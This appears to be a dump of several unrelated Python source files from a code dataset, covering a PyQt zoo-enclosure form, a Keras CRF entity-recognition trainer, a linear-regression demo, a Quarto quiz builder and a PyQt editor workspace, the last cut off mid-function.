is False: # si num est valide et n'existe pas deja on creer\n lst_enclos.append(en) # ajoute a la liste\n self.textBrowser_e.clear() # reinitialisation du text browser\n for enclos in lst_enclos: # Afffichage de tous les enclos dans la liste\n self.textBrowser_e.append(enclos.__str__())\n self.textBrowser_e.append(\"\") # Spacer\n self.line_num_e.clear() # Réinitialiser lineEdits num et combobox de l'emplacement et du type d'enclos\n self.CB_type_enclos_e.setCurrentText(\"Terrarium\")\n self.CB_emplacement_e.setCurrentText(\"sous-sol\")\n\n\n @pyqtSlot()\n # Bouton Ajouter\n def on_BT_modifier_e_clicked(self):\n \"\"\"\n Gestionnaire d'évènement pour le bouton Modifier d'enclos\n \"\"\"\n # Instancier un objet Enclos\n en = Enclos()\n # Entrée de donnée pour les attributs de l'objet Enclos\n en.Num_enclos = self.line_num_e.text().capitalize()\n en.Type_enclos = self.CB_type_enclos_e.currentText()\n en.Emplacement = self.CB_emplacement_e.currentText()\n # True/False qui nous informe si num d'enclos existe ou pas dans liste des enclos\n verifier_enclos = verifier_enclos_liste(en.Num_enclos)\n # Si num d'enclos valide et existe dans liste enclos on modifie\n if en.Num_enclos == \"\":\n self.line_num_e.clear()\n self.MS_e_num_format_e.setVisible(True)\n if verifier_enclos is False:\n self.line_num_e.clear()\n self.MS_e_num_inex.setVisible(True)\n if verifier_enclos is True and en.Num_enclos != \"\": # si num valide et retrouve dans liste, on modifie\n for enclos in lst_enclos:\n if enclos.Num_enclos == en.Num_enclos: # reperer bon objet grace au numero unique de chaque objet enclos\n enclos.Type_enclos = en.Type_enclos # ici on attribut nouvelle valeur\n enclos.Emplacement = en.Emplacement #\n # Clear le textBowser\n self.textBrowser_e.clear()\n # Après modifications, réafficher enclos dans le textBrowser\n for enc in lst_enclos:\n self.textBrowser_e.append(enc.__str__())\n self.textBrowser_e.append(\"\")\n # Réinitialiser les lineEdits du numéro et les combobox de l'emplacement et du type d'enclos\n self.line_num_e.clear()\n self.CB_type_enclos_e.setCurrentText(\"Terrarium\")\n self.CB_emplacement_e.setCurrentText(\"sous-sol\")\n\n @pyqtSlot()\n # Bouton Ajouter\n def on_BT_supprimer_e_clicked(self):\n \"\"\"\n Gestionnaire d'évènement pour le bouton Supprimer d'enclos\n \"\"\"\n # Instancier un objet Enclos\n en = Enclos()\n # Entrée de donnée pour les attributs de l'objet Enclos\n en.Num_enclos = self.line_num_e.text().capitalize()\n en.Type_enclos = self.CB_type_enclos_e.currentText()\n en.Emplacement = self.CB_emplacement_e.currentText()\n # True/False qui nous informe si num d'enclos existe ou pas dans liste des enclos\n verifier_enclos = verifier_enclos_liste(en.Num_enclos)\n # Si num d'enclos valide et existe dans liste enclos on supprime\n if en.Num_enclos == \"\":\n self.line_num_e.clear()\n self.MS_e_num_format_e.setVisible(True)\n if verifier_enclos is False: # si num enclos est introuvable\n self.line_num_e.clear()\n self.MS_e_num_inex.setVisible(True)\n if verifier_enclos is True: # si num retrouve dans liste, on modifie\n for enclos in lst_enclos:\n if enclos.Num_enclos == en.Num_enclos: # reperer bon objet grace au numero unique de chaque objet enclos\n lst_enclos.remove(enclos) # supprime objet de la liste des enclos\n # Clear le textBowser\n self.textBrowser_e.clear()\n # Après modifications, réafficher tous les étudiants de la liste dans le textBrowser\n for enc in lst_enclos: # Après modifications, réafficher enclos dans le textBrowser\n self.textBrowser_e.append(enc.__str__())\n self.textBrowser_e.append(\"\")\n # Réinitialiser les lineEdits du numéro et les combobox de l'emplacement et du type d'enclos\n self.line_num_e.clear()\n self.CB_type_enclos_e.setCurrentText(\"Terrarium\")\n self.CB_emplacement_e.setCurrentText(\"sous-sol\")\n\n","repo_name":"jlebelj/Exam-_zoo","sub_path":"fenetre_enclos.py","file_name":"fenetre_enclos.py","file_ext":"py","file_size_in_byte":7663,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4911689161","text":"\nimport json\nfrom tqdm import tqdm\nimport os\nimport numpy as np\nfrom random import choice\nfrom itertools import groupby\nfrom kashgari.embeddings import BERTEmbedding\nfrom keras.utils.np_utils import *\nmode = 0\nmin_count = 1\nchar_size = 128\nnegative =5\nembedding1 = BERTEmbedding('bert-base-chinese', sequence_length=30)\nid2tag = {0:'s', 1:'b', 2:'m'} # 标签(sbme)与id之间的映射\ntag2id = {j:i for i,j in id2tag.items()}\nid2kb = {}\nwith open(r'kb_data' ,encoding='utf-8') as f: # 知识库中的所有属性串联起来 alias 和object各自串联起来\n for l in tqdm(f):\n _ = json.loads(l)\n subject_id = _['subject_id']\n # if subject_id=='310293':\n # print(_)\n subject_alias = list(set([_['subject']] + _.get('alias', [])))\n # if 'lol'in subject_alias:\n # print(_)\n # if '英雄联盟' in subject_alias:\n # print(_)\n subject_alias = [alias.lower() for alias in subject_alias]\n subject_desc = '\\n'.join(u'%s:%s' % (i['predicate'], i['object']) for i in _['data'])\n subject_desc = subject_desc.lower()\n if subject_desc:\n\n id2kb[subject_id] = {'subject_alias': subject_alias, 'subject_desc': subject_desc}\n\n\nkb2id = {}\nfor i ,j in zip(id2kb.keys() ,id2kb.values()): # i为序号,j为每一个存储在id2kb中的字典\n for k in j['subject_alias'] :# 所有alias都加入kb2id,并且字典对应的值为在知识库中的序号\n if k not in kb2id:\n kb2id[k] = []\nfor i1, j1 in zip(id2kb.keys(), id2kb.values()): # i为序号,j为每一个存储在id2kb中的字典\n for k1 in j1['subject_alias']: # 所有alias都加入kb2id,并且字典对应的值为在知识库中的序号\n kb2id[k1].append(i1)\n # for k in j['subject_alias']:\n #\n\n# print(id2kb['391539'])\n# print(kb2id['lol'])\n# print(id2kb['161540']['subject_alias'])\n# for i in (id2kb['161540']['subject_alias']):\n# print(kb2id[i])\n\ntrain_data = []\nwith open(r'train.json' ,encoding='utf-8') as f:\n for l in tqdm(f):\n _ = json.loads(l)\n train_data.append({\n 'text': _['text'].lower(),\n 'mention_data': [(x['mention'].lower(), int(x['offset']), x['kb_id'])\n for x in _['mention_data'] if x['kb_id'] != 'NIL'\n ]\n })\n\n\nif not os.path.exists(r'all_chars_me.json'):\n chars = {} # 字典 存储实体的属性在材料中出现的次数\n for d in tqdm(iter(id2kb.values())):\n for c in d['subject_desc']:\n chars[c] = chars.get(c, 0) + 1\n for d in tqdm(iter(train_data)):\n for c in d['text']:\n chars[c] = chars.get(c, 0) + 1\n chars = {i :j for i ,j in chars.items() if j >= min_count} # 出现过的全保留下来 因为小于二就说明在训练集和知识库至少有一次没出现过 这种数据没意义\n id2char = { i +2 :j for i ,j in enumerate(chars)} # 0: mask, 1: padding\n char2id = {j :i for i ,j in id2char.items()}\n json.dump([id2char, char2id], open(r'all_chars_me.json', 'w'))\nelse:\n id2char, char2id = json.load(open(r'all_chars_me.json'))\n\n\nif not os.path.exists(r'random_order_train.json'): # 乱序的训练材料\n random_order = list(range(len(train_data)))\n np.random.shuffle(random_order)\n json.dump(\n random_order,\n open(r'random_order_train.json', 'w'),\n indent=4\n )\nelse:\n random_order = json.load(open(r'random_order_train.json'))\n\n\ndev_data = [train_data[j] for i, j in enumerate(random_order) if i % 9 == mode ] # 打乱后重新组织成traindata,在train_json里面划分出验证集\ntrain_data = [train_data[j] for i, j in enumerate(random_order) if i % 9 != mode]\n\n\ndef seq_padding(X, padding=0):\n L = [len(x) for x in X]\n ML = max(L)\n return np.array([\n np.concatenate([x, [padding] * (ML - len(x))]) if len(x) < ML else x for x in X\n ])\n\ndef seq_padding2(X, padding=0):\n L = [x.shape[1] for x in X]\n ML = max(L)\n return np.array([\n np.concatenate(np.concatenate(x,np.zeros([128,ML-x.shape[1]])),axis=1) if x.shape[1] < ML else x for x in X\n ])\n\n\nclass data_generator: # 针对训练数据的处理\n def __init__(self, data, batch_size=64):\n self.data = data\n self.batch_size = batch_size\n self.steps = len(self.data) // self.batch_size\n if len(self.data) % self.batch_size != 0:\n self.steps += 1\n def __len__(self):\n return self.steps\n def __iter__(self):\n while True:\n idxs = list(range(len(self.data)))\n np.random.shuffle(idxs)\n X1, X2, S1, S2, Y, T,Label = [], [], [], [], [], [],[]\n for i in idxs:\n d = self.data[i]\n text = d['text'] # 数据中的文本部分\n x1 = [char2id.get(c, 1) for c in text]# 从字符表中寻找到text中每个字\n s1, s2 = np.zeros(len(text)), np.zeros(len(text))\n label = np.zeros(len(text))\n mds = {} # 存储mentiondata的序列\n for md in d['mention_data']: # 如果mentiondata中出现在了对应知识库中\n if md[0] in kb2id: # md[0]=mentiondata md[1]=offset md[2]=kbid。\n j1 = md[1]\n j2 = j1 + len(md[0])\n s1[j1] = 1 # 实体位置标1 说明这是边界 分别规定了实体在text位置上的左边界与右边界\n s2[j2 - 1] = 1\n label[j1] = 1\n label[j2-1] = 1\n label[j1+1:j2-2] = 2\n mds[(j1, j2)] = (md[0], md[2]) # 存储每个mention及其在kb中的id\n if mds:\n for j1 ,j2 in mds.keys():\n y = np.zeros(len(text))\n y[j1: j2] = 1 # mention中的实体在 text长度的列表中标\n x2 = kb2id[mds[(j1, j2)][0]] # mention中的实���在kb中的id(一个实体对应多个id,取随机一个)\n if mds[(j1, j2)][1] not in x2:\n continue\n h = x2.index(mds[(j1, j2)][1])\n if (h > negative -1):\n x2[0] = mds[(j1, j2)][1]\n if (len(x2) < negative):\n for i in range(negative - len(x2)):\n lift = choice(choice(list(kb2id.values())))\n while (lift == mds[(j1, j2)][1]):\n lift = choice(choice(list(kb2id.values())))\n x2.append(str(lift))\n else:\n x2 = x2[0:negative]\n for i in range(negative):\n if x2[i] == mds[(j1, j2)][1]: # mention中的实体是否与kb同名实体的随机抽取的id相一致\n t=[1]\n else:\n t=[0]\n x2change = id2kb[x2[i]]['subject_desc'] # 与x2为id的实体相联系的属性\n x2change = [char2id.get(c, 1) for c in x2change] # 转化为字符编码\n X1.append(x1)\n # X1bert.append(x1bert)\n X2.append(x2change)\n S1.append(s1)\n S2.append(s2)\n Y.append(y)\n Label.append(label)\n T.append(t)\n if len(X1)==self.batch_size or i == idxs[-1]:\n X1 = seq_padding(X1) # 填充达到一致长度\n # X1bert = np.array(X1bert)\n X2 = seq_padding(X2)\n S1 = seq_padding(S1)\n S2 = seq_padding(S2)\n Y = seq_padding(Y)\n Label = seq_padding(Label)\n T = seq_padding(T)\n yield X1, to_categorical(Label, 4)\n X1, X2, S1, S2, Y, Label,T = [], [], [], [], [], [],[]\n\n\n# 模型定义\nfrom keras.layers import *\nfrom keras.models import Model\nimport keras.backend as K\nfrom keras.callbacks import Callback\nfrom keras.optimizers import Adam\nimport os\nimport tensorflow as tf\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\ngpu_options = tf.GPUOptions(allow_growth=True)\nsess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\nK.set_session(tf.Session(config=tf.ConfigProto(device_count={'gpu': 0})))\ndef seq_maxpool(x):\n \"\"\"seq是[None, seq_len, s_size]的格式,\n mask是[None, seq_len, 1]的格式,先除去mask部分,\n 然后再做maxpooling。x1_bert=Input(shape=(None,None,))\n \"\"\"\n seq, mask = x\n seq -= (1 - mask) * 1e10\n return K.max(seq, 1)\n\nclass CRF(Layer):\n \"\"\"纯Keras实现CRF层\n CRF层本质上是一个带训练参数的loss计算层,因此CRF层只用来训练模型,\n 而预测则需要另外建立模型。\n \"\"\"\n def __init__(self, ignore_last_label=True, **kwargs):\n \"\"\"ignore_last_label:定义要不要忽略最后一个标签,起到mask的效果\n \"\"\"\n self.ignore_last_label = 1 if ignore_last_label else 0\n super(CRF, self).__init__(**kwargs)\n def build(self, input_shape):\n self.num_labels = input_shape[-1] - self.ignore_last_label\n self.trans = self.add_weight(name='crf_trans',\n shape=tf.TensorShape((self.num_labels, self.num_labels)).as_list(),\n initializer='glorot_uniform',\n trainable=True)\n def log_norm_step(self, inputs, states):\n \"\"\"递归计算归一化因子\n 要点:1、递归计算;2、用logsumexp避免溢出。\n 技巧:通过expand_dims来对齐张量。\n \"\"\"\n states = K.expand_dims(states[0], 2) # (batch_size, output_dim, 1)\n trans = K.expand_dims(self.trans, 0) # (1, output_dim, output_dim)\n output = K.logsumexp(states+trans, 1) # (batch_size, output_dim)\n return output+inputs, [output+inputs]\n def path_score(self, inputs, labels):\n \"\"\"计算目标路径的相对概率(还没有归一化)\n 要点:逐标签得分,加上转移概率得分。\n 技巧:用“预测”点乘“目标”的方法抽取出目标路径的得分。\n \"\"\"\n point_score = K.sum(K.sum(inputs*labels, 2), 1, keepdims=True) # 逐标签得分\n labels1 = K.expand_dims(labels[:, :-1], 3)\n labels2 = K.expand_dims(labels[:, 1:], 2)\n labels = labels1 * labels2 # 两个错位labels,负责从转移矩阵中抽取目标转移得分\n trans = K.expand_dims(K.expand_dims(self.trans, 0), 0)\n trans_score = K.sum(K.sum(trans*labels, [2,3]), 1, keepdims=True)\n return point_score+trans_score # 两部分得分之和\n def call(self, inputs): # CRF本身不改变输出,它只是一个loss\n return inputs\n def loss(self, y_true, y_pred): # 目标y_pred需要是one hot形式\n mask = 1-y_true[:,1:,-1] if self.ignore_last_label else None\n y_true,y_pred = y_true[:,:,:self.num_labels],y_pred[:,:,:self.num_labels]\n init_states = [y_pred[:,0]] # 初始状态\n log_norm,_,_ = K.rnn(self.log_norm_step, y_pred[:,1:], init_states, mask=mask) # 计算Z向量(对数)\n log_norm = K.logsumexp(log_norm, 1, keepdims=True) # 计算Z(对数)\n path_score = self.path_score(y_pred, y_true) # 计算分子(对数)\n return log_norm - path_score # 即log(分子/分母)\n def accuracy(self, y_true, y_pred): # 训练过程中显示逐帧准确率的函数,排除了mask的影响\n mask = 1-y_true[:,:,-1] if self.ignore_last_label else None\n y_true,y_pred = y_true[:,:,:self.num_labels],y_pred[:,:,:self.num_labels]\n isequal = K.equal(K.argmax(y_true, 2), K.argmax(y_pred, 2))\n isequal = K.cast(isequal, 'float32')\n if mask == None:\n return K.mean(isequal)\n else:\n return K.sum(isequal*mask) / K.sum(mask)\n\nx1_in = Input(shape=(None,),dtype='int32') # 待识别句子输入\n# x2_in = Input(shape=(None,)) # 实体语义表达输入 kb中相关属性的连接\n# s1_in = Input(shape=(None,)) # 实体左边界(标签)\n# s2_in = Input(shape=(None,)) # 实体右边界(标签)\n# y_in = Input(shape=(None,)) # 实体标记 text中 mention的位置标记为1\n# label= Input(shape=(None,))\n# t_in = Input(shape=(1,)) # 是否有关联(标签)\n\n\nx1 = x1_in# x2_in, s1_in, s2_in, y_in, t_in\nx1_mask = Lambda(lambda x: K.cast(K.greater(K.expand_dims(x, 2), 0), 'float32'))(x1)\n# x2_mask = Lambda(lambda x: K.cast(K.greater(K.expand_dims(x, 2), 0), 'float32'))(x2)\nembedding = Embedding(len(id2char)+2, char_size)\n\n\nx1 = embedding(x1) #char embedding\nx1 = Dropout(0.2)(x1)\nx1 = Lambda(lambda x: x[0] * x[1])([x1, x1_mask])\nx1 = Bidirectional(CuDNNLSTM(char_size//2, return_sequences=True))(x1)\nx1 = Lambda(lambda x: x[0] * x[1])([x1, x1_mask])\nx1 = Bidirectional(CuDNNLSTM(char_size//2, return_sequences=True))(x1)\nx1 = Lambda(lambda x: x[0] * x[1])([x1, x1_mask])\nh = Conv1D(char_size, 3, activation='relu', padding='same')(x1)\nprint(h)\ncrf = CRF(True)\ntag_score = Dense(4,activation='softmax')(h) # 变成了5分类,第五个标签用来mask掉\ntag_score = crf(tag_score)\ns_model = Model(x1_in, tag_score) #识别实体,输入句子,输出实体识别的左右边界(如是s1为句子字符长度,实体左右边界标1)\n\n\n\ns_model.compile(loss=crf.loss, # 用crf自带的loss\n optimizer='adam',\n metrics=[crf.accuracy] # 用crf自带的accuracy\n )\ns_model.summary()\n\n\n# def extract_items(text_in): # 验证函数\n# _x1 = [char2id.get(c, 1) for c in text_in]\n# _x1 = np.array([_x1])\n# _k1, _k2 = s_model.predict(_x1)\n# _k1, _k2 = _k1[0, :, 0], _k2[0, :, 0]\n# _k1, _k2 = np.where(_k1 > 0.5)[0], np.where(_k2 > 0.5)[0] # 大于0.5的识别成真实的位置\n# _subjects = []\n# for i in _k1:\n# j = _k2[_k2 >= i]\n# if len(j) > 0:\n# j = j[0]\n# _subject = text_in[i: j+1]\n# _subjects.append((_subject, i, j) ) # 列表加入实体和左右边界\n# if _subjects:\n# R = []\n# _X2, _Y = [], []\n# _S, _IDXS = [], {}\n# for _s in _subjects:\n# _y = np.zeros(len(text_in))\n# _y[_s[1]: _s[2]] = 1\n# _IDXS[_s] = kb2id.get(_s[0], []) # 找出知识库中与预测实体同名的实体集合\n# for i in _IDXS[_s]:\n# _x2 = id2kb[i]['subject_desc']\n# _x2 = [char2id.get(c, 1) for c in _x2]\n# _X2.append(_x2)\n# _Y.append(_y)\n# _S.append(_s)\n# if _X2:\n# _X2 = seq_padding(_X2)\n# _Y = seq_padding(_Y)\n# _X1 = np.repeat(_x1, len(_X2), 0)\n# scores = t_model.predict([_X1, _X2, _Y])[:, 0]\n# for k, v in groupby(zip(_S, scores), key=lambda s: s[0]): # 每一个预测出来的实体以及分数\n# v = np.array([j[ 1] for j in v])\n# kbid = _IDXS[k][np.argmax(v)] # 选择分数最高的\n# R.append((k[0], k[1], kbid)) # 输出相关的位置和分数最高的实体的编码\n# return R\n# else:\n# return []\ndef max_in_dict(d): # 定义一个求字典中最大值的函数\n value=0\n key=0\n for i,j in zip(d.keys(),d.values()):\n if j > value:\n key,value = i,j\n return key,value\n\ndef viterbi(nodes, trans): # viterbi算法,跟前面的HMM一致\n paths = nodes[0] # 初始化起始路径\n for l in range(1, len(nodes)): # 遍历后面的节点\n paths_old,paths = paths,{}\n for n,ns in nodes[l].items(): # 当前时刻的所有节点\n max_path,max_score = '',-1e10\n for p,ps in paths_old.items(): # 截止至前一时刻的最优路径集合\n score = ns + ps + trans[p[-1]+n] # 计算新分数\n if score > max_score: # 如果新分数大于已有的最大分\n max_path,max_score = p+n, score # 更新路径\n paths[max_path] = max_score # 储存到当前时刻所有节点的最优路径\n print(paths)\n return max_in_dict(paths)\n\n\n# def cut(s, trans): # 分词函数,也跟前面的HMM基本一致\n# if not s: # 空字符直接返回\n# return []\n# # 字序列转化为id序列。注意,经过我们前面对语料的预处理,字符集是没有空格的,\n# # 所以这里简单将空格的id跟句号的id等同起来\n# sent_ids = np.array([[char2id.get(c, 0) if c != ' ' else char2id[u'。']\n# for c in s]])\n# probas = s_model.predict(sent_ids)[0] # 模型预测\n# nodes = [dict(zip('012', i)) for i in probas[:, :4]] # 只取前3个\n# nodes[0] = {i:j for i,j in nodes[0].items() if i in 'bs'} # 首字标签只能是b或s\n# nodes[-1] = {i:j for i,j in nodes[-1].items() if i in 'es'} # 末字标签只能是e或s\n# tags = viterbi(nodes, trans)[0]\n# result = [s[0]]\n# for i,j in zip(s[1:], tags[1:]):\n# if j in 'bs': # 词的开始\n# result.append(i)\n# else: # 接着原来的词\n# result[-1] += i\n# return result\n\nclass Evaluate(Callback):\n def __init__(self):\n self.F1 = []\n self.best = 0.6903\n def on_epoch_end(self, epoch, logs=None):\n f1, precision, recall = self.evaluate()\n self.F1.append(f1)\n if f1 > self.best:\n self.best = f1\n s_model.save_weights(r'nercrf/ner_model.weights')\n print('f1: %.4f, precision: %.4f, recall: %.4f, best f1: %.4f\\n' % (f1, precision, recall, self.best))\n def evaluate(self):\n A, B, C = 1e-10, 1e-10, 1e-10\n _ = s_model.get_weights()[-1][:3, :3]# 从训练模型中取出最新得到的转移矩阵\n # print(_)\n trans = {}\n for i in 'sbm':\n for j in 'sbm':\n trans[i + j] = _[tag2id[i], tag2id[j]]\n for d in tqdm(iter(dev_data)):\n _x1 = [char2id.get(c, 1) for c in d['text']]\n _x1 = np.array([_x1])\n # print(_x1)\n probas = s_model.predict(_x1)[0] # 模型预测\n # print(probas)\n nodes = [dict(zip('sbm', i)) for i in probas[:, :3]] # 只取前4个\n nodes[0] = {i: j for i, j in nodes[0].items() if i in 'bs'} # 首字标签只能是b或s\n nodes[-1] = {i: j for i, j in nodes[-1].items() if i in 'bs'} # 末字标签只能是e或s\n # print(len(nodes))\n tags = viterbi(nodes, trans)[0]\n ad = [0]*len(tags)\n num=0\n for i in range(len(tags)):\n if (tags[i]=='b'):\n ad[i]=1\n num+=1\n else:\n ad[i]=0\n mentionall = [] #预测出来的实体对\n dictpre= []#实体写成训练集的json形式\n dictall=[] # 标签中含有的全部实体\n if num!=0 and num%2==0:\n count=[i for i,j in enumerate(ad) if j==1]\n while(len(count)!=0):\n a=count[0]\n del count[0]\n b=count[0]\n del count[0]\n mentionall.append(d['text'][a:b+1])\n\n for mention_data in d['mention_data']: #d['mention_data']早已经被处理成元组了,只含有三个值 实体 位置 和kb编号\n dictin = (mention_data[0],)\n dictall.append(dictin)\n if mentionall:\n for mention in mentionall:\n dictin = (str(mention),)\n dictpre.append(dictin)\n # R=set(dictall)\n # T = set(d['mention_data'])\n R = set(dictpre)\n T = set(dictall)\n A += len(R & T)\n B += len(R)\n C += len(T)\n return 2 * A / (B + C), A / B, A / C\n\n\n\nevaluator = Evaluate()\ntrain_D = data_generator(train_data)\nprint(len(train_data))\nif os.path.exists(r'nercrf/ner_model.weights'):\n s_model.load_weights(r'nercrf/ner_model.weights')\ns_model.fit_generator(train_D.__iter__(),\n steps_per_epoch=3125,\n epochs=200,\n callbacks=[evaluator],\n\n )","repo_name":"fanxiangshangfen/el","sub_path":"diedai1/elner-lstm+cnn+crf.py","file_name":"elner-lstm+cnn+crf.py","file_ext":"py","file_size_in_byte":20768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40725146580","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\nimport random\n\nstyle.use('fivethirtyeight')\n\nprint()\n# x_array = np.array([1, 2, 3, 4, 5, 6], dtype = np.float64)\n# y_array = np.array([5, 4, 6, 5, 6, 7], dtype = np.float64)\n\ndef create_dataset(number_of_data_points, variance, step = 2, correlation = False) :\n\n value = 1\n y_array = []\n\n for i in range(number_of_data_points) :\n\n y = value + random.randrange(-variance, variance)\n y_array.append(y)\n\n if correlation and correlation == 'pos':\n value += step\n \n elif correlation and correlation == 'neg':\n value -= step\n\n x_array = [i for i in range(len(y_array))]\n\n return np.array(x_array, dtype = np.float64), np.array(y_array, dtype = np.float64)\n\ndef best_fit_slope_intercept (x, y) :\n\n m = (((np.mean(x_array) * np.mean(y_array)) - np.mean(x_array * y_array)) / ((np.mean(x_array) ** 2) - np.mean(x_array ** 2)))\n b = np.mean(y_array) - m * np.mean(x_array)\n\n return m, b\n\ndef squared_error(y_original, y_line) :\n\n return sum((y_line - y_original) ** 2)\n\ndef coefficient_of_determination(y_original, y_line) :\n\n y_mean_line = [np.mean(y_array) for y in y_original]\n squared_error_regr = squared_error(y_original, y_line)\n squared_error_y_mean = squared_error(y_original, y_mean_line)\n\n return 1 - (squared_error_regr / squared_error_y_mean)\n\nx_array, y_array = create_dataset(40, 10, 2, correlation = 'pos')\n\nm,b = best_fit_slope_intercept(x_array, y_array)\n\nregression_line = [(m * x) + b for x in x_array]\n\npredict_x = 8\npredict_y = (m * predict_x) + b\n\n# for x in xs:\n# regression_line.append((m * x) + b)\n\nr_squared = coefficient_of_determination(y_array, regression_line)\nprint(r_squared)\n\nplt.scatter(x_array, y_array)\n# plt.scatter(predict_x, predict_y)\nplt.plot(x_array, regression_line)\nplt.show()\n","repo_name":"vihansolo/Machine-Learning","sub_path":"9) regression - testing assumptions.py","file_name":"9) regression - testing assumptions.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32167070288","text":"import subprocess\nimport os\nimport sys\nimport argparse\n\nimport lingquiztics.questions\nimport lingquiztics.tools\n\n#\n# Argument parsing\n#\n\nparser = argparse.ArgumentParser(description='lingquiztics - make quiz')\nparser.add_argument('questions', type=str,\n\t\t\t\t\thelp='Path to the JSON file containing the questions')\nparser.add_argument('beamer_header', type=str,\n\t\t\t\t\thelp='Path to the Quarto file containing the presentation header')\nparser.add_argument('beamer_footer', type=str,\n\t\t\t\t\thelp='Path to the Quarto file containing the presentation footer')\nparser.add_argument('--output_file', type=str, nargs='?', default=\"presentation.html\", help='Filename of the presentation')\nparser.add_argument('--no_chain', type=bool, nargs='?', default=False, help='Whether to chain the output to Quarto immediately')\nparser.add_argument('--keep_md', type=bool, nargs='?', default=False, help='Whether to keep the Markdown file')\nargs = parser.parse_args()\n\nTEMP_FILENAME = \"presentation.qmd\"\n\nno_chain = args.no_chain is not False\n\nwith open(args.beamer_header, \"rt\") as reader:\n qmd_content = reader.read()\n\nqmd_content = f\"{qmd_content}\\n\\n\"\n\nrounds = lingquiztics.questions.load(args.questions)\n\nfor quiz_round in rounds:\n print(quiz_round)\n\n questions = rounds[quiz_round]\n\n durante = quiz_round.startswith(\"durante_\")\n quiz_round = quiz_round.replace(\"durante_\", \"\")\n\n for revision_round in [ False, True ]:\n if not revision_round and durante and quiz_round != \"Break\":\n qmd_content += f\"# Please hand in your answers for {quiz_round}!\\n\\n\"\n continue\n\n # Add rounds section\n if not revision_round:\n qmd_content += f\"# {quiz_round}\\n\\n\"\n elif quiz_round != \"Break\":\n qmd_content += f\"# {quiz_round} (revision)\\n\\n\"\n\n for index, question in enumerate(questions):\n qmd_content += lingquiztics.questions.output_question(question, index, revision_round)\n\n if not revision_round and quiz_round != \"Break\":\n qmd_content += f\"# Please hand in your answers for {quiz_round}!\\n\\n\"\n\nwith open(args.beamer_footer, \"rt\") as reader:\n qmd_footer = reader.read()\n\nqmd_content += f\"\\n\\n{qmd_footer}\"\n\nwith open(TEMP_FILENAME, \"wt\") as writer:\n writer.write(qmd_content)\n\nif no_chain:\n sys.exit()\n\nsubprocess.run([\"quarto\",\n \"render\", TEMP_FILENAME,\n \"--to\", \"revealjs\",\n \"-o\", args.output_file])\n\nif not args.keep_md:\n os.remove(TEMP_FILENAME)","repo_name":"AntheSevenants/lingquiztics","sub_path":"make-beamer.py","file_name":"make-beamer.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8041498703","text":"from PyQt4 import QtGui\nfrom widgets.editor import TextEditor, DragDropEditor\nfrom widgets.entity import tile, arrow\nfrom utils import fedit\n\n\nclass Workspace(QtGui.QTabWidget):\n \"\"\" The main container widget which allows editing and viewing of files,\n status monitoring, and data visualisation. This widget can contain\n text and visual based file editing, visual and text based data\n review, and is displayed in a tab format.\n\n Widget is initialized with a single blank file\n \"\"\"\n\n def add_file(self, file_path, index=0):\n\n \"\"\" Adds a file in the workspace, and allows editing via the drag\n and drop or text based editing windows\n\n file_path: The path to the file, with the extension\n index: The location of the tab to be inserted. If index\n is equal to 0, the tab is added onto the end.\n \"\"\"\n\n # Extract the extension and title from the file_path\n # If the file does not have an extension, both the title and extension\n # are equal to the name\n extension = file_path.split('.', 1)[-1]\n name = file_path.split('/')[-1]\n\n # Don't replicate the default name for a new, blank file\n if \"untitled\" in name:\n name = (name.split('.')[0] +\n str(self.num_of_untitled) + '.' + extension)\n self.num_of_untitled += 1\n\n # Open text based files\n if extension in ('txt', 'py', 'upl'):\n added_file = TextEditor(name, extension, file_path)\n\n # Add a checker and updater to check for changes (saved vs. unsaved)\n added_file.textChanged.connect(lambda: self.save_state_change(False))\n\n if index:\n self.insertTab(index, added_file, added_file.fileName)\n self.setCurrentIndex(index)\n else:\n self.addTab(added_file, added_file.fileName)\n self.setCurrentIndex(self.count() - 1)\n\n # Open drag and drop based files\n elif extension == \"pro\":\n added_file = DragDropEditor(name, extension, file_path)\n added_file.isSaved = True\n # Add as a tab, at a certain index if indicated\n if index:\n self.insertTab(index, added_file, added_file.fileName)\n self.setCurrentIndex(index)\n else:\n self.addTab(added_file, added_file.fileName)\n self.setCurrentIndex(self.count() - 1)\n\n if \"untitled\" not in file_path:\n f = open(file_path)\n for line in f:\n if line[0] == 'L':\n line = line.strip(\"\\n\")\n path = line.split(\" \")\n self.add_library(path[1])\n elif line[0] == \"#\":\n added_file.numOfChildren += 1\n line = line.strip(\"\\n\")\n params = line.split(\" \")\n new_tile = tile(added_file, int(params[1]), int(params[2]), int(params[3]))\n if params[4] != \"None\":\n new_tile.func_dict['FunctionReference'] = params[4]\n for v in added_file.libs:\n if v['FunctionReference'] == new_tile.func_dict['FunctionReference']:\n new_tile.func_dict = v\n new_tile.setToolTip(v['ToolTip'])\n new_tile.setText(v['FunctionName'])\n new_tile.set_value = params[5]\n new_tile.drawConnection.connect(added_file.drawArrow)\n new_tile.fileChange.connect(lambda: self.save_state_change(False))\n elif line[0] == \">\":\n line = line.strip(\"\\n\")\n params = line.split(\" \")\n new_arrow = arrow(int(params[1]), int(params[2]), int(params[3]), int(params[4]), int(params[5]), int(params[6]), params[7] + ' ' + params[8])\n new_arrow.setParent(added_file)\n new_arrow.lower()\n new_arrow.show()\n new_arrow.fileChange.connect(lambda: self.save_state_change(False))\n tiles = added_file.findChildren(tile)\n for i in tiles:\n if i.ref == int(params[5]) or i.ref == int(params[6]):\n i.arrows.append(new_arrow)\n\n\n\n # Open new, untitled files\n elif extension == \"untitled\":\n added_file = TextEditor(name)\n else:\n QtGui.QMessageBox.question(self, 'Message',\n \"Cannot open file\")\n return None\n\n\n def save_state_change(self, isSaved):\n \"\"\" Adds or removes an asterisk from the current tab when text changes\n or the file is saved to denote to the user if their changes are\n currently saved.\n\n isSaved: If the file has become saved (True) or unsaved (False)\n \"\"\"\n i = self.currentIndex()\n current_name = self.tabText(i)\n if isSaved and ('*' in current_name):\n self.setTabText(i, current_name[:-1])\n self.currentWidget().isSaved = True\n elif not isSaved and '*' not in current_name:\n 